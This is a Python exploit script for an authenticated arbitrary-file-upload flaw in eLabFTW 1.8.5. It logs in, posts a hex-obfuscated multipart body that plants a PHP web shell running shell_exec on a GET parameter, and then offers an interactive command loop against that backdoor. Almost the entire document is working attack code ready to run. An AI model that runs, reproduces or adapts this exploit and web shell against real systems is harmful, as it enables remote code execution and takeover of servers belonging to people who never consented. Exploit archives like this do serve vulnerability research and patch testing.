# Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE # Date : 5/18/19 (modified date: 8/16/2025) # Exploit Author : liquidsky (JMcPeters), modified by Drew Alleman for Python3! # Vulnerable Software : eLabFTW 1.8.5 # Vendor Homepage : https://www.elabftw.net/ # Version : 1.8.5 # Software Link : https://github.com/elabftw/elabftw # Tested On : Linux / PHP Version 7.0.33 import argparse import sys import requests from bs4 import BeautifulSoup from urllib.parse import urlparse, urlencode, urlunparse, parse_qsl from ssl import SSLCertVerificationError try: import urllib3 except Exception: urllib3 = None LOGIN_ENDPOINT = "/login.php" LOGIN_CONTROLLER_ENDPOINT = "/app/controllers/LoginController.php" UPLOAD_ENDPOINT = "/app/controllers/EntityController.php" SSL_ERROR = ( "[CRTICIAL] SSL error while contacting shell. Use '--no-verify' (optionally with '--silence-warnings')." "[CRTICIAL] SSL error while contacting shell. Use '--no-verify' (optionally with '--silence-warnings')." "[CRTICIAL] SSL error while contacting shell. Use '--no-verify' (optionally with '--silence-warnings')." ) data = "" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37" data += "\x32\x31\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39" data += "\x34\x31\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a" data += "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69" data += "\x74\x69\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61" data += "\x3b\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70\x6c\x6f\x61\x64\x22" data += "\x0d\x0a\x0d\x0a\x74\x72\x75\x65\x0d\x0a\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36\x37\x35" data += "\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31\x31\x36" data += "\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f\x6e\x74\x65" data += "\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a" data += "\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d" data += "\x65\x3d\x22\x69\x64\x22\x0d\x0a\x0d\x0a\x34\x0d\x0a\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31" data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31" data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f" data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69" data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20" data += "\x6e\x61\x6d\x65\x3d\x22\x74\x79\x70\x65\x22\x0d\x0a\x0d\x0a" data += "\x65\x78\x70\x65\x72\x69\x6d\x65\x6e\x74\x73\x0d\x0a\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31" data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31" data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f" data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69" data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20" data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69" data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x33\x2e\x70\x68" data += "\x70\x35\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79" data += "\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e" data += "\x2f\x78\x2d\x70\x68\x70\x0d\x0a\x0d\x0a\x3c\x3f\x70\x68\x70" data += "\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65" data += "\x63\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x27\x5d\x2e\x27\x20" data += "\x32\x3e\x26\x31\x27\x29\x3b\x20\x3f\x3e\x0d\x0a\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36" data += "\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31" data += "\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x2d\x2d\x0d\x0a" class Exploit: def __init__( self, email, password, url, port=None, verify=True, silence_warnings=False, timeout=180, ): self.email = email self.password = password self.verify = verify self.timeout = timeout if not self.verify and silence_warnings and urllib3: urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) print("[INFO] Disabled warnings about insecure https certifications.") # Parse and normalize the URL p = urlparse( url if url and "://" in url else (url and f"http://{url}") or "http://localhost" ) scheme = p.scheme or "http" host = p.hostname port = p.port or port or (443 if scheme == "https" else 80) if scheme == "https" and port == 80: port = 443 if scheme == "http" and port == 443: port = 80 self.scheme = scheme self.host = host self.port = port default_port = (scheme == "https" and port == 443) or ( scheme == "http" and port == 80 ) self.base_url = f"{scheme}://{host}{'' if default_port else f':{port}'}" self.session = requests.Session(timeout=self.timeout, verify=self.verify) self.token = None self.session_id = None print(f"[INFO] Loaded URL: '{self.base_url}'") def grab_token(self) -> bool: print("[INFO] Attempting to grab a form token from elabftw...") try: auth_response = self.session.get(self.base_url + LOGIN_ENDPOINT) except (requests.exceptions.SSLError, SSLCertVerificationError): print(SSL_ERROR) return False except requests.exceptions.ConnectionError: print("[CRITICAL] Unable to connect to the target URL. Is the host up?") return False soup = BeautifulSoup(auth_response.text, "lxml") node = soup.find("input", {"name": "formkey"}) if not node or not node.get("value"): print("[ERROR] Could not find formkey on login page") return False self.token = node["value"] return True def grab_session_id(self) -> bool: print( "[INFO] Attempting to login with the provided credentials and form token..." ) login_payload = { "email": self.email, "password": self.password, "formkey": self.token, } login_response = self.session.post( self.base_url + LOGIN_CONTROLLER_ENDPOINT, data=login_payload ) if not login_response.ok: print( f"[ERROR] Failed to login with credentials: '{self.email}:{self.password}'" ) return False self.session_id = self.session.cookies.get("PHPSESSID") if not self.session_id: print("[ERROR] No PHPSESSID cookie set after login") return False return True def send_payload(self) -> bool: headers = { "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "application/json", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "no-cache", "X-Requested-With": "XMLHttpRequest", "Content-Length": "588", "Content-Type": "multipart/form-data; boundary=---------------------------72167598110874594111630395077", "Connection": "close", "Cookie": "PHPSESSID=" + self.session_id + ";" + "token=" + self.token, } payload_response = self.session.post( self.base_url + UPLOAD_ENDPOINT, headers=headers, data=data ) if not payload_response.ok: print( f"[ERROR] Failed to send payload to elabftw (HTTP {payload_response.status_code})" ) return False return True def run_shell( shell_url: str, verify: bool, silence_warnings: bool, timeout: int ) -> int: """ Call the uploaded .php5 backdoor with ?e= and print the response body. Returns process exit code (0 on success, 1 on error). """ if not verify and silence_warnings and urllib3: urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parts = urlparse(shell_url if "://" in shell_url else f"http://{shell_url}") print("[INFO] NOTE: Shell does not have CD persistence.") while True: try: cmd = input("$ ") if cmd == "exit": break query = dict(parse_qsl(parts.query, keep_blank_values=True)) query["e"] = cmd new_parts = parts._replace(query=urlencode(query)) final_url = urlunparse(new_parts) try: r = requests.get(final_url, verify=verify, timeout=timeout) except (requests.exceptions.SSLError, SSLCertVerificationError): print(SSL_ERROR) return 1 except requests.exceptions.RequestException as ex: print(f"[ERROR] Failed to contact shell: {ex}") return 1 print(r.text.strip()) except KeyboardInterrupt: return def parse_args(): ap = argparse.ArgumentParser( description="eLabFTW 1.8.5 arbitrary file upload / RCE (Python3). " "Either use --shell to start an non-interactive shell, " "or provide login args to upload a new one." ) ap.add_argument( "--shell", help="Full URL to existing .php5 backdoor in /uploads (e.g., https://host/uploads/..../abc.php5)", ) ap.add_argument("-e", "--email", help="Login email") ap.add_argument("-P", "--password", help="Login password") ap.add_argument("-u", "--url", help="Base URL (e.g., https://192.168.1.10)") ap.add_argument( "--port", type=int, default=None, help="Port override (defaults to 443 for https, 80 for http)", ) ap.add_argument( "--no-verify", action="store_true", help="Disable TLS certificate verification" ) ap.add_argument( "--silence-warnings", action="store_true", help="Silence urllib3 InsecureRequestWarning (effective only with --no-verify)", ) ap.add_argument( "--timeout", type=int, default=180, help="Timeout in seconds for shell connection (default: 180)", ) args = ap.parse_args() if args.shell: return args missing = [ flag for flag, val in [ ("--email", args.email), ("--password", args.password), ("--url", args.url), ] if not val ] if missing: ap.error(f"Missing required arguments for upload mode: {' '.join(missing)}") return args def main(): args = parse_args() # If --shell is provided, skip everything else and just execute the command if args.shell: exit_code = run_shell( shell_url=args.shell, verify=not args.no_verify, silence_warnings=args.silence_warnings, timeout=args.timeout, ) sys.exit(exit_code) # Otherwise, proceed with original upload flow exploit = Exploit( email=args.email, password=args.password, url=args.url, port=args.port, verify=not args.no_verify, silence_warnings=args.silence_warnings, timeout=args.timeout, ) if not exploit.grab_token(): print("[ERROR] Failed to grab form token from elabftw!") sys.exit(1) if not exploit.grab_session_id(): sys.exit(1) if exploit.send_payload(): print(f"[INFO] Successfully sent payload to target!") print(f"[INFO] Check for a shell: {exploit.base_url}/uploads/") print( f"[INFO] Example Upload: {exploit.base_url}/uploads/82/82b757007585fa963c82b09.php5?e=whoami" ) sys.exit(0) else: sys.exit(1) if __name__ == "__main__": main()